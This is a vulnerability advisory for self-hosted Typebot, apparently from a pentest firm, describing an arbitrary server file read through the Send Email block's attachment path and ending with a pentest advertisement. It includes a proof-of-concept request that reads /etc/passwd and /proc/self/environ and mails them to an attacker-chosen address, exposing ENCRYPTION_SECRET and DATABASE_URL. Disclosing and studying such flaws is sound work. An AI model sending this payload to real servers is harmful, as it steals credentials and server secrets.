Typebot: Arbitrary server file read via the Send Email block attachment path

The Send Email block takes an attachment value driven by a Typebot variable verbatim as a file path, and the Nodemailer transport allows access to local files, so an attacker reads /etc/passwd or /proc/self/environ from the server and has it sent as an attachment.

Advisory ID: TP-2026-051
Product: Typebot (open-source builder for chatbots and conversational forms, self-hosted)
Vulnerability type: Arbitrary local file read via an unchecked path (CWE-22) with exposure of sensitive information (CWE-200)
CVE: CVE-2026-62865
CVSS 3.1: 7.7 (High) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Vendor advisory: GHSA-j32h-2r6x-wmf3
Affected versions: Typebot <= 3.17.1
Fixed in: Typebot 3.18.0
Reported: 4 June 2026

Summary

Typebot is a self-hosted builder for chatbots and conversational forms whose Send Email block runs server-side in the chat API. The block passes the attachment value, which comes from a Typebot variable, verbatim as { path } to Nodemailer whenever the value does not start with env.NEXTAUTH_URL. The Nodemailer transport is built without the disableFileAccess and disableUrlAccess options, both of which default to false in Nodemailer 8.0.7, so a path such as /etc/passwd is read from the local filesystem and attached. Both the attachment value and the recipient list are attacker-settable. With it the attacker reads /etc/passwd and, through /proc/self/environ, the ENCRYPTION_SECRET that decrypts all stored integration credentials, plus the DATABASE_URL.

Root cause

parseAttachments returns { path: url } verbatim for any attachment value that does not start with env.NEXTAUTH_URL (packages/bot-engine/src/blocks/integrations/sendEmail/executeSendEmailBlock.tsx:357), whereas the intended branch for an own upload mints a signed temporary URL (:362-372). The Nodemailer transport is built only with host, port, secure and auth (:174-182, createTransport :208), omitting the disableFileAccess and disableUrlAccess options that both default to false in Nodemailer 8.0.7, so { path } is read as a local file. The attachment value comes from a Typebot variable (getFileUrls(variables)(options.attachmentsVariableId), :120) and the recipient list is interpolated through parseVariables (:100-102), both attacker-controllable. The block runs server-side, and credentialsId:"default" uses the system SMTP that a self-hosted deployment already holds for the magic-link login. The baseline attacker is any registered user (open signup is the default) who authors the bot; the attack becomes anonymous when the bot exposes attachment and recipient as prefillable variables.

Proof of Concept

# Anonymous chat start with prefilled variables for the attachment path and recipient:
POST /api/v1/typebots/<publicId>/startChat
Content-Type: application/json

{"prefilledVariables": {"attach": "/etc/passwd", "rcpt": "[email protected]"}}

# The Send Email block reads /etc/passwd and delivers it as a Base64 attachment.
# The same primitive reads /proc/self/environ → ENCRYPTION_SECRET, DATABASE_URL.

In the live verification on version 3.17.1, after an anonymous startChat with prefilledVariables {attach:"/etc/passwd", rcpt:"[email protected]"} the server read /etc/passwd in full and delivered it as a Base64 attachment passwd to the attacker mailbox (decoded root:x:0:0:...). The same primitive read /proc/self/environ and returned the ENCRYPTION_SECRET that decrypts all stored integration credentials, plus the DATABASE_URL.

Impact

  • Read of arbitrary files the Node process may access on the server, delivered as an e-mail attachment to an address the attacker chooses.
  • Read of /proc/self/environ and thereby of the ENCRYPTION_SECRET that decrypts all stored integration credentials, plus the DATABASE_URL.
  • The baseline attacker is any registered user under the default open signup; fully anonymous once the bot exposes attachment and recipient as prefillable variables.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.

Request a Pentest